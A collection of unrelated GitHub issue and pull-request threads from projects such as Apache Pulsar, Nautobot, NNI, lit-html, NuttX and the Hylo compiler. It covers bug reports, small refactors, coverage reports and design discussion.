[refactor][broker] Optimize semantics

Motivation
Make the code easier to read
Modifications
!isPresent() -> isEmpty()
Verifying this change

[ ] Make sure that the change passes the CI checks.

Does this pull request potentially affect one of the following parts:
If the box was checked, please highlight the changes

[ ] Dependencies (add or upgrade a dependency)
[ ] The public API
[ ] The schema
[ ] The default values of configurations
[ ] The threading model
[ ] The binary protocol
[ ] The REST endpoints
[ ] The admin CLI options
[ ] Anything that affects deployment

Documentation

[ ] doc
[ ] doc-required
[x] doc-not-needed
[ ] doc-complete

@crossoverJie Please follow the instructions in https://github.com/apache/pulsar/actions/runs/3481081589/attempts/1#summary-9529786678 .

PR in forked repository: https://github.com/crossoverJie/pulsar/pull/2

/pulsarbot run-failure-checks

@crossoverJie Please follow the instructions in https://github.com/apache/pulsar/actions/runs/3481081589/attempts/1#summary-9529786678 .

Done, PTAL.

@crossoverJie Seems that you haven't enabled the GitHub action in your repo.

@rober
PTAL

@tisonkun PTAL

If you do have ideas on promoting a code style rule for Apache Pulsar, I suggest:

either add a checkstyle rule or integrate with other code style automation;
or make a proposal on soft code style rule by:

Read the Coding Guide: https://pulsar.apache.org/coding-guide/
Try to integrate it into the Contribution Guide's Development section: https://pulsar.apache.org/contribute/category/development
Discuss and vote on the dev@ mailing list.

Here are how other communities/projects do it:

Trino: https://github.com/airlift/codestyle
TiDB: https://pingcap.github.io/tidb-dev-guide/contribute-to-tidb/code-style-and-quality-guide.html
Kubernetes: https://www.kubernetes.dev/docs/guide/coding-convention/

The primary rule here is: such changes must be converged.


fix(amplify-provider-awscloudformation): handling promise rejection

Issue #, if available:
Description of changes:
closes #5665
By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.

Closing in favor of #5746


wrong centering for maps with lines that should cross -180 longitude

Right now the map is always drawn with -180 on the left. When a line spans for example Tokyo to LA, the line is drawn the wrong way instead of crossing the -180 line.

Pick a better center for the map
Wrapping the map tiles around the -180 line
Draw path lines crossing the -180 line

e.g. https://atlas.p3k.io/map/img?basemap=gray&width=800&height=240&path[]=[-122.64,45.515],[139.683,35.6833]&bezier=25


Fix for issue 15735

Summary
Swapped deprecated PackageIconUrl for PackageIcon and IconUrl to Icon, respectfully, in docs/standard/library-guidance/nuget.md
Fixes #15735

I went with your suggestion.

Good to merge @JamesNK?


Wait for a different ready message introduced in new versions of Redis

On newer versions of Redis (e.g. on v7.2.1) the ready message is different
[...]
15 Oct 2023 12:04:54.895 * DB loaded from disk: 0.000 seconds
15 Oct 2023 12:04:54.895 * Ready to accept connections tcp
15 Oct 2023 12:04:54.895 * Ready to accept connections unix

This causes tempredis to block in waitFor forever. The waitFor function looks for the string "The server is now ready to accept connections".
This PR changes ready to a slice of strings and adds "Ready to accept connections" as another possible log line to wait for. It also changes waitFor accordingly.

Merged in via #4 – thanks!


MediaElement.js keep dispatching progress event from previous loaded media

I use mediaelement.js API for playing mp3 files. I have a song list and when I select one, I execute the following code :
media_element.setSrc(media_url);
media_element.load();
media_element.play();
Everything is working fine : I have a listener which is getting back the progress value :
media.addEventListener('progress', function(e){
var progress = player_get_progress(e,media);
console.log(progress); //trace 0,01 ... 0,02, ... 0,56 ... 1 !
});
I use this progress value for setting a html div's width (which is representing the buffering progress)
However when I click on another song, and that the first one has not finished to load, the second song start to load and I'm getting two progress values :
Example :
Song 1 => Click => progress : 0,1; 0,2; 0;3 Song 2 => Click ( and song 1 is not totally loaded ) => progress : 0,4; 0,1 ; 0,5 ; 0,2; 0,6; 0,3 ... etc
The same happen with many song parallely loaded . I tried to do a media.stop() before loading a new song but this is crashing the actionscript script...
bellow the code I tried to :
function play_media(media_url)
{
if(!media_element.paused)
{
media_element.pause();
//media_element.stop(); //crashing line
}
media_element.setSrc(media_url);
media_element.load();
media_element.play();
}
If you want to know what this function do :
player_get_progress(e,media);
I copy/paste the code from the mediaelement-and-player.js file , function : setProgressRail This function is beside setting the progress bar width from the built-in html media player
So ... Am I doing something wrong or is there a bug with the actionscript code that does not stop the loading of the song when a new one is loaded ???
hope you could help :)

I found the bug, see the "edit" part at :
http://stackoverflow.com/questions/8588525/mediaelement-js-keep-dispatching-progress-event-from-previous-loaded-media

Have you tried that? Does it work?

Strangely, adding weak reference does not work as expected, I have to manually remove event listener. Below the AudioElement.as load method code :

public function load():void
{
        if (_currentUrl == "")
	        return;
//clearing event listener
if(_sound)
{
	if(_sound.hasEventListener(ProgressEvent.PROGRESS)){
		_sound.removeEventListener(ProgressEvent.PROGRESS,progressHandler);
	}

	if(_sound.hasEventListener(Event.ID3)){
		_sound.removeEventListener(Event.ID3,id3Handler);
	}
}
_sound = new Sound();
//sound.addEventListener(IOErrorEvent.IO_ERROR,errorHandler);
_sound.addEventListener(ProgressEvent.PROGRESS,progressHandler,false,0,true);
_sound.addEventListener(Event.ID3,id3Handler);
_sound.load(new URLRequest(_currentUrl));
_currentTime = 0;

sendEvent(HtmlMediaEvent.LOADSTART);

_isLoaded = true;

sendEvent(HtmlMediaEvent.LOADEDDATA);
sendEvent(HtmlMediaEvent.CANPLAY);
_firedCanPlay = true;

if (_playAfterLoading) {
	_playAfterLoading = false;
	play();
}

}

It works fine now, no more double progress event :)

@dadaxr Can you close this issue?

i can :)


Add parameter checking for template link templates

Fixes https://github.com/Azure/azure-cli/issues/3603
@tjprescott (since he was assigned...)

Closed/re-opened to knock some sense into the CI.

CI failing. Looks like you need to re-record the test for this one.

Tests re-recorded.

Codecov Report

Merging #3629 into master will increase coverage by 0.01%.
The diff coverage is 100%.

@@            Coverage Diff             @@
##           master    #3629      +/-   ##
==========================================
+ Coverage   71.63%   71.65%   +0.01%
==========================================
  Files         420      420
  Lines       26228    26241      +13
  Branches     3970     3971       +1
==========================================
+ Hits        18788    18802      +14
+ Misses       6265     6260       -5
- Partials     1175     1179       +4

Impacted Files
Coverage Δ

...ource/azure/cli/command_modules/resource/custom.py
62.78% <100%> (+0.47%)
:arrow_up:

...dback/azure/cli/command_modules/feedback/custom.py
31.25% <0%> (ø)
:arrow_up:

...nent/azure/cli/command_modules/component/custom.py
16.23% <0%> (ø)
:arrow_up:

src/azure-cli-core/azure/cli/core/util.py
72.1% <0%> (ø)
:arrow_up:

...c/azure-cli-testsdk/azure/cli/testsdk/utilities.py
60.97% <0%> (+7.31%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 7d5f89c...92312b2. Read the comment docs.


Feat: Support cordova 5.0.0 plugins

See Cordova's blog posts about the new tools release and the new plugin system
Will ngCordova switch over sometime soon and what if anything might be required of projects using ngCordova to migrate? (I have the same questions regarding ionic & ionic-cli but I guess I may open separate issues there later)

I am worried about this too.
All ngCordova stuff will work with cordova plugins installed with the new ids? (cordova-plugin-* instead of org.apache.cordova.*)
related #846


the code forget normalized inverse of the distance

your: Batch #1 MSE: 14.38
After correction: Batch #1 MSE: 10.625
"We also have to choose how to weight the distances. A straight forward way to weight the distances is by the distance itself. Points that are further away from our prediction should have less impact than nearer points. The most common way to weight is by the normalized inverse of the distance."--according to your "Nearest Neighbor Methods Introduction".

Thanks for spotting this mistake! This is very helpful.


Create docker images for amd64

Feature Request
Is your feature request related to a problem? Please describe.
Currently there are only arm64 images on docker hub.
Describe the solution you'd like
An official amd64 docker image.
Teachability, Documentation, Adoption, Migration Strategy
Will be easier to use in a shared environment where docker is allowed, but pip is not.

Hi @george-gca, due to the Docker Hub changes (see #1353), the images are now on ghcr.io: https://github.com/asreview/asreview/pkgs/container/asreview


Update k8s and crypto packages

What this PR does / why we need it:
Special notes for your reviewer:
If applicable:

[ ] this PR contains user facing changes (the docs needed label should be applied if so)
[ ] this PR contains unit tests
[ ] this PR has been tested for backwards compatibility

Dependency only PR, merging


Add commit hook to RenderOptions

As requested in #271, we need sanitization hooks. We recently introduced RenderOptions to render() that can flow to all Parts when they're instantiated by a TemplateProcessor. Via RenderOptions we can pass in a "commit" hook that all Parts will call too in the commit phase.
For reference, @mikesamuel's requirements for the hooks:

The value prior to any coercion to a string
The attribute and/or property name if any
The element if any --  !=

Are there other things that are likely to hook in and which might prematurely coerce values to strings?

Not within the lit API, but of course values can be fed to functions before they hit a template.

If a commit hook sees an {Attribute,Property}Committer can it assume that that committers commits will eventually return to it?

Not sure I understand the question, but what I was getting at is that in the 2-phase system, Parts have setValue() and commit(), but for Parts that could make up a multi-part value, there's an additional Committer object that determines the final value, and so a hook might have to be fairly polymorphic, or better we pull out a consistent interface for the hook.

What's an EventPart?

html`<button @click=${this._handleClick}>Click Me</button>`

EventParts only work with function values.

Not within the lit API, but of course values can be fed to functions before they hit a template.

Ok.  In that case order of operations doesn't dictate the AttributePart vs AttributeCommitter design decision.

but for Parts that could make up a multi-part value, there's an additional Committer object that determines the final value, and so a hook might have to be fairly polymorphic, or better we pull out a consistent interface for the hook.

If an attribute has multiple parts like
html`<a href="/foo?bar=${ bar }#${ frag }">`

do we get more context by operating at the AttributeCommitter level?
If so, I'd prefer to operate at the beginning of commit of the attribute as a whole, and after the values of the parts have been set, but before the parts have been combined into a single string.

EventParts only work with function values.

Thanks for explaining.  Since EventParts don't involve coercion from strings, I think the hook just needs to recognize and ignore them.  It's possible bad things could happen if an attacker caused the value of the function to be Function or eval, but that's not a lit-html specific risk.

Fixed in https://github.com/Polymer/lit-html/pull/1031, will be in the next release.


ObjectChange Created Regardless of Change

Environment

Nautobot version (Docker tag too if applicable): 1.5.10
Python version: 3.7
Database platform, version: PostgreSQL/MySQL
Middleware(s): Golden Config

Steps to Reproduce

Stand up instance of Nautobot.
Fill instance with devices and associated data.
Edit a Device and save without changing anything.
Review changelog for Device and see another change log entry was created with no diff filled in as nothing changed on the Device object.

Expected Behavior
Expect no change log entry to be created as nothing changed.

Observed Behavior
It appears that regardless of whether any fields were changed on an object an ObjectChange, ie changelog, entry is created upon object save.  This leads to a large number of garbage logs that are unnecessary in the database. This becomes even more of a concern with Apps like Golden Config where each compliance feature has a changelog and an entry is created everytime a compliance Job is ran. This means that if there are 30 features to be evaluated for 1000 Devices, even if nothing has changed for these Devices there are now 30k more change log entries in the database.

@jdrew82 Does the last updated field get updated though...

Changing this could be considered a breaking change as currently this also triggers job hooks.

@bryanculver It does appear that the last_updated field is being updated to be close to the time field for the ObjectChange object.

So the question is, do we want the last_updated to be updated with no other object data changed? Sure, that's what django does in this case, but is it really what we want?

IMO, if no other data about the object has changed, ie no fields have changed, then there's no reason for a changelog to be created cause nothing about it changed. The object wasn't actually "updated" in this cause so the last_updated being changed to the save data is a bit of a misnomer cause there was no update.

@nautobot/core just to confirm, with the recent work in this area, this issue still exists, right?

To the best of my knowledge, yes.


HHH-13001 - NPE rendering nested criteria expressions

Initial work on https://hibernate.atlassian.net/browse/HHH-13001.
All tests pass.  Waiting to hear about specific tests.
Also, had to backport again the Stack interface and impls from 6 because https://github.com/hibernate/hibernate-orm/pull/2558 has still not been applied

@gsmet This is the general approach I mentioned.

@sebersole I rebased and added the test from Fabio. The test passes and the PR looks good so I think we're good to go.
Anything else on your side?

Nope.  Pushed as per my comments on the issue


Techdebt: Replace string-format with f-strings (for r* dirs)

See #5579
This PR also simplifies the parameter-parsing for RDS and Redshift, by utilizing existing _get_.._param methods that are exposed in BaseResponse

Codecov Report

Merging #5691 (da26149) into master (677457c) will decrease coverage by 0.00%.
The diff coverage is 97.87%.

@@            Coverage Diff             @@
##           master    #5691      +/-   ##
==========================================
- Coverage   96.20%   96.20%   -0.01%
==========================================
  Files         743      743
  Lines       72814    72786      -28
==========================================
- Hits        70049    70021      -28
  Misses       2765     2765

Flag
Coverage Δ

servertests
36.88% <29.78%> (+<0.01%)
:arrow_up:

unittests
96.14% <97.87%> (-0.01%)
:arrow_down:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

moto/rds/exceptions.py
97.18% <ø> (ø)

moto/resourcegroups/models.py
77.97% <0.00%> (ø)

moto/ram/models.py
99.08% <100.00%> (ø)

moto/rds/models.py
94.51% <100.00%> (ø)

moto/rds/responses.py
99.27% <100.00%> (-0.03%)
:arrow_down:

moto/rds/utils.py
100.00% <100.00%> (ø)

moto/redshift/exceptions.py
94.20% <100.00%> (ø)

moto/redshift/models.py
96.93% <100.00%> (ø)

moto/redshift/responses.py
99.06% <100.00%> (-0.06%)
:arrow_down:

moto/resourcegroupstaggingapi/models.py
83.43% <100.00%> (ø)

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.


Investigating FAILED trials

Short summary about the issue/question: When running remote experiment on two machines, I experience periodical failed starts on one of them. However, I cannot investigate it further, since its temporal location is  being wiped out (i.e.  tmp/nni/experiments/OlabyaBd/trials/cGBe3) before I notice that.
Brief what process you are following: Starting a remote experiment, having concurrency=2, having 2 machines configured. Assuming that each machines hosts 1 trial at a time.

How to reproduce it:

nni Environment:

nni version: 1.0
nni mode(local|pai|remote): remote
OS: Ubuntu 16.04.6 LTS
python version: 3.6.8
is conda or virtualenv used?: no
is running in docker?: yes

need to update document(yes/no): no
Anything else we need to know: The actual starting process seems weird to me, according to running tasks table, target machine already had 1 task running. However for some reason scheduler tried to start another one on the same machine. But the point of the ticket is to have an ability to investigate it. Thanks!

@apatsekin thanks for reporting this issue. It might be better for NNI to provide the location info of each trial.
For your problem, could you provide more information:

does your trial use gpu (and how many)?  if it uses gpus, then how many gpus in each of the machine.
how did you run the experiment in remote mode using docker?
could you provide the log (i.e., stderr) of the failed trial?
what is the status of your experiment, running or error? if it is error, could you also provide the content of nnimanager.log

@QuanluZhang thank you for quick and detailed response!

I run NNI on one machine in remote mode, so it can start training on two other machines. Those two workers machines has 8 GPUs each.  Trial (training) script takes all GPUs on single machine, so I can run only one trial per machine.
Each worker machine has running docker container with exposed SSH port. Those containers run persistently. NNI is configured to run tasks in remote mode through SSH.
That's the main point of this issue. When I see in WebUI those failed trials and press + to pull up the log directory, i.e. /tmp/nni/experiments/OlabyaBd/trials/ENcH2, it's already doesn't exist. So I have no clue what happened with the trial and why it failed.

The status was running after first couple of fails, although trials directories were still wiped for failed ones. Now it's finished because it reached max number of attempts.
Here is part of nnimanager.log when trial fails:
[9/19/2019, 3:41:55 AM] INFO [ 'POST: /version/OlabyaBd/Sl0x3: body:\n{\n    "tag": "VCSuccess"\n}' ] [9/19/2019, 3:41:55 AM] INFO [ 'Version check in trialKeeper success!' ] [9/19/2019, 3:41:55 AM] INFO [ 'POST: /stdout/OlabyaBd/Sl0x3: body:\n{\n    "stdOutputType": "Stdout",\n    "tag": "trial_keeper",\n    "msg": "[2019-09-19 03:41:55.907084] INFO Trial keeper spawns a subprocess (pid 37880) to run command: [\'/root/.pyenv/shims/python3\', \'train.py\', \'--config=config/path_to_config.py\']"\n}' ] [9/19/2019, 3:41:59 AM] INFO [ 'Trial job Sl0x3 status changed from WAITING to RUNNING' ] [9/19/2019, 3:42:05 AM] INFO [ 'POST: /stdout/OlabyaBd/Sl0x3: body:\n{\n    "stdOutputType": "Stdout",\n    "tag": "trial_keeper",\n    "msg": "[2019-09-19 03:42:05.930426] INFO subprocess terminated. Exit code is 1. Quit"\n}' ] [9/19/2019, 3:42:05 AM] INFO [ 'POST: /stdout/OlabyaBd/Sl0x3: body:\n{\n    "stdOutputType": "Stdout",\n    "tag": "trial_keeper",\n    "msg": "[2019-09-19 03:42:05.941913] INFO NNI trial keeper exit with code 1"\n}' ] [9/19/2019, 3:42:09 AM] INFO [ 'Trial job Sl0x3 status changed from RUNNING to FAILED' ]

I figured it out. That was my fault related to docker containers. Sorry for taking your time.


Usage with tailwind

🆒 Your use case
Update README to show usage with tailwind.
🆕 The solution you'd like
This is how I got it to work. The module adds the fallback fonts correctly but we need to tell tailwind the fallback font family name in order to actually use it.
// tailwind.config
module.exports = {
  theme: {
    extend: {
      fontFamily: {
		// For every font, provide another string in `${fontName} fallback` format
        plex: ["IBM Plex Sans Arabic", "IBM Plex Sans Arabic fallback"],
      },
    },
  },
};

🔍 Alternatives you've considered
No response
ℹ Additional info
I'd make a PR if the solution sounds good

+1


drivers/timers/watchdog: support the configurations of Auto-monitor r…

Summary
Support the configurations of Auto-monitor reset timeout
and Auto-monitor keep alive interval in milliseconds.
In some areas with high security requirements such as vehicle
control, in order to meet functional safety requirements, the
timeout and feeding interval of the watchdog need to be
configured in milliseconds
Impact

After the modification, users need to configure timeout and
keep alive interval in milliseconds instead of seconds, but
the default timeout is now set to 60000 milliseconds, which
is the same as the original 60 seconds
Testing
CI check

[Experimental Bot, please feedback here]
Yes, this PR appears to meet the NuttX requirements, although some sections could be expanded for better clarity.
Here's a breakdown of why and suggestions for improvement:
Strengths:

Clear Summary: The summary explains the "why" (functional safety), the "what" (auto-monitor configuration), and the "how" (millisecond support).
Impact Section Addresses Key Areas:  It acknowledges the user impact and the change in units from seconds to milliseconds. The screenshot adds value.
Testing Evidence: Mentioning CI check implies some level of automated testing.

Weaknesses and Suggestions:

Missing Issue References:  If this relates to any existing NuttX or NuttX-apps issues, those should be linked in the Summary.
Impact Section Could Be More Thorough:

Build Impact:  Does adding this configuration option change the build process at all? (Likely NO, but should be explicitly stated).
Hardware Impact:  Specify which architectures/boards are affected.  Even if the impact is "NO," state it explicitly.
Documentation Impact:  This change requires a documentation update. State "YES" and describe what documentation will be added/modified.
Security Impact: While motivated by security concerns, the direct security impact of this specific change isn't clear. Explain if this enhances security itself or just facilitates other security measures.
Compatibility Impact:  Does this change break any existing configurations or introduce any backward compatibility issues?  State "NO" if none.

Testing Section Needs More Detail: "CI check" is insufficient. While CI is essential, provide:

Build Host Details:  OS, CPU architecture, compiler version used for local testing.
Target Details:  Specific architectures and boards tested.  "sim" isn't specific enough.  Which simulator?
Example Logs (Even Brief Ones):  Demonstrate the configuration change and the auto-monitor behaving as expected with millisecond values.  Even a simple "before/after" showing the units is helpful.  Empty log blocks don't add value.

Example Improvements for Testing Section:
Testing

I confirm that changes are verified on local setup and works as intended:
* Build Host(s): Linux (Ubuntu 20.04), x86_64, GCC 9.4.0
* Target(s): sim:qemu-x86_64, stm32f4discovery:default

Testing logs before change (using seconds):

configuring watchdog timeout to 60 seconds...
...
watchdog triggered after approximately 60 seconds

Testing logs after change (using milliseconds):

configuring watchdog timeout to 60000 milliseconds...
...
watchdog triggered after approximately 60 seconds

By addressing these points, the PR will be significantly stronger and easier for reviewers to evaluate.

Now I have removed the _MSEC suffix from WATCHDOG_AUTOMONITOR_TIMEOUT_MSEC so that it still keep its original name WATCHDOG_AUTOMONITOR_TIMEOUT
config WATCHDOG_AUTOMONITOR_TIMEOUT
	int "Auto-monitor reset timeout(millisecond)"
	default 60000


Add "virtual kernels"

Virtual kernels are kernels with specific features enabled or disabled depending on the authorization level.

Nearly complete, but I need add dynamic kernel extensions, where the kernel extension contents can change depending on the scope.

Alright, that's added, and so is a basic implementation of a read-only file-system.
Complete(ish).


Encoding issues

Please answer the following questions.
Which version of matterbridge are you using?
42wim/matterbridge:latest (27f616e0b7a7)
Please describe the expected behavior.
We set up a bridge between Mattermost, IRC and Telegram.
When sending an IRC message with non-UTF8-encoding (e.g. latin1), it should arrive everywhere.
Please describe the actual behavior.
Messages from IRC containing umlauts are sent to Mattermost, with "bad encoding" marks:

This is fine I think (as long as it's not possible to detect the encoding used in IRC). But the messages aren't delivered to Telegram at all.

Sorry for the delay in answering.
I'll see if it can be easily fixed

Using utf-8 isn't an option ? This seems to work fine everywhere

Well, I can't change it if someone else uses a misconfigured IRC client :) Isn't there a way to force-encode to UTF8 with replacement chars for invalid codepoints, or something like that?

Can not be easily done, and fixing non-uncode to unicode is beyond the scope of matterbridge.
Most of the irc clients now support utf-8.
I'm sorry but the only option is to ask your users to enable/use utf-8 on their irc client

@dbrgn Just pushed a commit into master, which maybe fixes this too


chore(deps-dev): bump eslint plugins and prettier

:pencil: Description

:link: Related Issues

:tada: This PR is included in version 1.42.0 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


User session auto destroyed when cron job runs

I am running cron job where shpify api calls are running according to the shop . But every time cron job run and call api logged in user session automatically logged out ?????

Please use the template to describe your issue, as we can't debug the issue with just that information you have currently provided.


Prevent disabled users from logging in (with error message)

Could this be done server side? If a user is disabled (which may be defined as "inactive" right?), they can't login, and will receive a message saying, "Your account is disabled. Please contact us if you think this is a mistake."

After logging out of the disabled user's account, I'm unable to login back in with anyone (401). so yeah, we need to keep them OUT!

Oh you already made the issue, OK. Yes, this is easy.
On Mon, Jan 30, 2017 at 7:18 PM, RyanTG<EMAIL_ADDRESS>wrote:

After logging out of the disabled user's account, I'm unable to login back
in with anyone (401). so yeah, we need to keep them OUT!
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/scottwainstock/pbm-ios/issues/107#issuecomment-276264096,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAK-LVGTZupkmYStRDdh89fuoQkaCYnbks5rXqgRgaJpZM4LyMbD
.

This should do it: https://github.com/scottwainstock/pbm/commit/b8e5ec76851bfab74b1496db3c04d4fa30c8a0cc
It's server-side code. So you should be able to verify with the current iOS build.

Check on iPad. All good!


Add srcset attrib rewrite

This PR implements a StringTransformer to rewrite URLs in srcset attributes found in <img> and <source> tags. This will close #310.
If you want to use this code, I can update the release notes. If you want me to do that, let me know if you want me to create a new section or put it in 2.3.0 or something else.

This looks great. Do we need a 2.4.0 release for this @johnerikhalse?

There isn't a 2.4.0 on the roadmap. As I'd catagorize this as narrow a bug fix, we could release 2.3.1, even with just this one change (and possibly also PR #307). That could probably be done quite quickly.

Even better.

I added an "OpenWayback 2.3.1 Release" section to the release notes and put in info for issue #310 and #306.


add JupyterHub.admin_access

optionally allow admin users to login to user servers by visiting a special admin-only URL that sets the relevant cookie

disabled by default
an 'access server' button is added to the admin panel, which sets the necessary cookie to log in to a given user server, one at a time
each admin access is logged at warning-level, logging to admin user and the target user

ping @jhamrick

This looks super awesome! I will test it out on the deployment of JupyterHub I have in my lab and report back (I may not be able to get to this in the next few days, though, as I have a big paper deadline this weekend).


Where should PSAs be added in MobileNet

In semantic segmentation task,  you compare  PSA with the DeepLabV3Plus baseline using different backbones. Where should PSAs be added in MobileNet?

i have the same trouble with u . have u fixed  it out ?


Invalid detection of missing return value

Compile this:
public fun f() -> Int {
  if true { return 0 } else { return 1 }
}

The compiler complains that f doesn't return value on all paths.

There's a third option: analyzing exit paths in the IR. The advantage is that all control-flow subtleties will have been lowered into simple jumps.
It used to work like that. See here. I removed the pass because the logic for distinguishing missing returns from implicitly inserted ones was bogus and difficult to debug. Maybe I should have persevered ...
If we can lay out the assumptions IR analysis can make about what return statements may have been omitted, then I guess we'd have our solution. I'll think about it and report my conclusions.

Any updates on this?

I've given the third option a bash, but just to make sure I understood correctly, here's my approach:

Remove the current logic that rejects the test case
Add an IR pass that investigates all the reachable blocks of code and...
Ensure all reachable blocks return the type you're expecting from the function

Reason I'm investigating only "reachable" blocks is because if you apply this patch:
--- a/Sources/IR/Emitter.swift
+++ b/Sources/IR/Emitter.swift
@@ -233,9 +233,7 @@ struct Emitter {
   ) -> SourceRange {
     switch emit(braceStmt: b) {
     case .next:
-      if !canonical(returnType).isVoidOrNever {
-        report(.error(missingReturn: returnType, at: .empty(atEndOf: ast[b].site)))
-      } else {
+      if canonical(returnType).isVoidOrNever {
         emitStore(value: .void, to: returnValue!, at: .empty(atEndOf: ast[b].site))
       }
       return ast[b].site

You get the following IR from the code:
// lib.f
// lib.hylo:4.1-6:2
fun FunctionDecl(2139)() -> Int {
b0(%b0#0 : &Int):
  %i0.0: &Bool = alloc_stack Bool
  %i0.1: &i1 = subfield_view %i0.0, 0
  %i0.2: &i1 = access [set] %i0.1
  store i1(0x1), %i0.2
  %i0.4: &i1 = subfield_view %i0.0, 0
  %i0.5: &i1 = access [sink] %i0.4
  %i0.6: i1 = load %i0.5
  end_access %i0.5
  dealloc_stack %i0.0
  cond_branch %i0.6, b2, b1
b1():
  %i1.0: &word = subfield_view %b0#0, 0
  %i1.1: &word = access [set] %i1.0
  store i64(0x1), %i1.1
  return
b2():
  %i2.0: &word = subfield_view %b0#0, 0
  %i2.1: &word = access [set] %i2.0
  store i64(0x0), %i2.1
  return
b3():
  %i3.0: &Int = access [set] %b0#0
  store void, %i3.0
  end_access %i3.0
  return
}

Notice that b3 will never be reached.
The sketchy part is trying to infer the type of the return from the IR block. You can look for the store operations but in some cases it's the 2nd last parameter and in others it seems to be the 3rd last parameter. And sometimes the void return type seems to be explicitly stored, and in other cases not.
I have something that passes the if-else test above and doesn't break any other tests but it feels very sketchy.
The main issue is that we're still generating the b3 branch which is dead code. I think @esleche's option1 may be more elegant.
@kyouko-taiga please let me know if I went way off track. You can see my WIP here. By no means good code.
Other thought was that we may be able to side-step inferring the return type based only on IR blocks by just storing the return type along with the Return struct when we insert it. Had a quick look at it and saw some text related to type-erasure and thought this may be leaking some abstraction. Thought I'd stop and ask first.

So simply applying this patch:
--- a/Sources/IR/Emitter.swift
+++ b/Sources/IR/Emitter.swift
@@ -233,9 +233,7 @@ struct Emitter {
   ) -> SourceRange {
     switch emit(braceStmt: b) {
     case .next:
-      if !canonical(returnType).isVoidOrNever {
-        report(.error(missingReturn: returnType, at: .empty(atEndOf: ast[b].site)))
-      } else {
+      if canonical(returnType).isVoidOrNever {
         emitStore(value: .void, to: returnValue!, at: .empty(atEndOf: ast[b].site))
       }
       return ast[b].site

results in:
fun f2() -> Int {}

being converted to IR by the emitter:
fun FunctionDecl(2305)() -> Int {
b0(%b0#0 : &Int):
  %i0.0: &Int = access [set] %b0#0
  store void, %i0.0
  end_access %i0.0
  return
}

So the fun f2() -> Int {} passes the type checker even though the return type in the function signature doesn't match the type being returned (no type/implicit-void). So currently it seems like the emitter is producing implicit returns.
My observation is that your suggestion that "You only need to guarantee that all reachable execution paths are post-dominated by a return." wouldn't catch this case of an empty function block with a non-void return type.
I believe the logic in the Emitter that produces the implicit return types when it shouldn't may need fixing. Or perhaps the type checker needs to catch the case of an empty body? Let me know if I'm on the wrong course again please :)

I'm surprised to see a store being emitted. Something's wrong; the generated IR is definitely ill-typed.
Type checking doesn't check that the function has a return value, so I'm not surprised to see it pass. A function body that's an empty pair of braces is parsed as an empty list of statements.

I believe the logic in the Emitter that produces the implicit return types when it shouldn't may need fixing.

Yes. We should track where/why the store void was emitted and fix that. Ideally we should have an assertion that makes sure we don't write an instance of the wrong type to %b0#0, but that's another issue. Then I think we should be able to apply the strategy I suggested.

Or perhaps the type checker needs to catch the case of an empty body? Let me know if I'm on the wrong course again please :)

Yeah but that's only one case and it should be handled by the more general strategy. So I don't think it is worth changing anything to type checking for the moment.

I'm surprised to see a store being emitted. Something's wrong; the generated IR is definitely ill-typed.

I think I may have mixed up the patch I was talking about. I had a couple floating around. Re-testing this it all seems fine. Sorry about the confusion.

Then I think we should be able to apply the strategy I suggested.

Just published a PR with the strategy you mentioned. I've omitted the step to ensure all reachable blocks are terminated with a return or unreachable instruction because in the current tests it's never being violated. I'd be happy to add it as a separate PR if you still feel it needs to be enforced, ensuring no regression occurs. I don't think it belongs in this patch set though.

Absolutely fantastic! Thanks a lot.

I don't think it belongs in this patch set though.

Agreed. I should spend some time on documenting well-formedness properly before that.


Searching Sources is not working

https://user-images.githubusercontent.com/105352597/184647675-07bb8c40-3ce7-40d2-84ed-dcf92caa4a55.mp4

Scroll down, search results are under pinned sources.


fix(chip): make onFocus an Output

Adding (focus) to the md-chip element already works since the chip element is the thing that receives focus; why would this need to be an @Output?

@jelbourn tbh I didn't investigate, I just noticed it stood out in the api docs. Happy to repurpose this PR to removing it entirely.

Name
Description

@Input()selected
Whether the chip is selected.

onFocus
Emitted when the chip is focused.

@Output()select
Emitted when the chip is selected.

@Output()deselect
Emitted when the chip is deselected.

@Output()destroy
Emitted when the chip is destroyed.

Ah, I see. It should just be internal (_onFocus) since it's used by the chip-list but not meant to be a public API


acknowledge_cumulative() does not work with a consumer subscribed to multiple topics.

Describe the bug
On pulsar-client==2.9.1 (python), acknowledge_cumulative() does not work with a consumer subscribed to multiple topics.
To Reproduce
Set up a pulsar server on localhost:6650. Create two topics topic1 and topic2. Make sure each topic has at least one message in it so we can consume them later.
Run the following code to consume a message.
import pulsar
from _pulsar import InitialPosition

client = pulsar.Client(service_url='pulsar://localhost:6650')

consumer = client.subscribe(['topic1', 'topic2'], subscription_name='test', initial_position=InitialPosition.Earliest)
msg = consumer.receive()

consumer.acknowledge_cumulative(msg)

The last line acknowledge_cumulative() throws RuntimeError: bad_function_call.
Expected behavior
No error should be raised.
Screenshots
If applicable, add screenshots to help explain your problem.
Desktop (please complete the following information):

OS: Ubuntu 20.04.3 LTS
Python 3.8.10
pulsar-client==2.9.1

It looks like each consumer iterator is erased https://github.com/apache/pulsar/blob/773f9197cfb83092fb6ee2bf1b9ec38143f3c8b0/pulsar-client-cpp/lib/MultiTopicsConsumerImpl.cc#L393-L396
within the for loop
https://github.com/apache/pulsar/blob/773f9197cfb83092fb6ee2bf1b9ec38143f3c8b0/pulsar-client-cpp/lib/MultiTopicsConsumerImpl.cc#L377-L385
so consumer++ throws a segfault.
Please correct me if I'm wrong since I'm new to this project. I'll also try to submit a fix soon.

Closed as stale. The development of the Python client has been permanently moved to http://github.com/apache/pulsar-client-python. Please open an issue there if it's still relevant.


alt nessie test for hooks

Codecov Report

Merging #1499 (8897823) into master (fbb69bd) will increase coverage by 0.03%.
The diff coverage is 50.00%.

@@            Coverage Diff             @@
##           master    #1499      +/-   ##
==========================================
+ Coverage   38.49%   38.52%   +0.03%
==========================================
  Files         164      164
  Lines       13242    13246       +4
==========================================
+ Hits         5097     5103       +6
+ Misses       7408     7404       -4
- Partials      737      739       +2

Impacted Files
Coverage Δ

api/controller.go
32.91% <50.00%> (+0.03%)
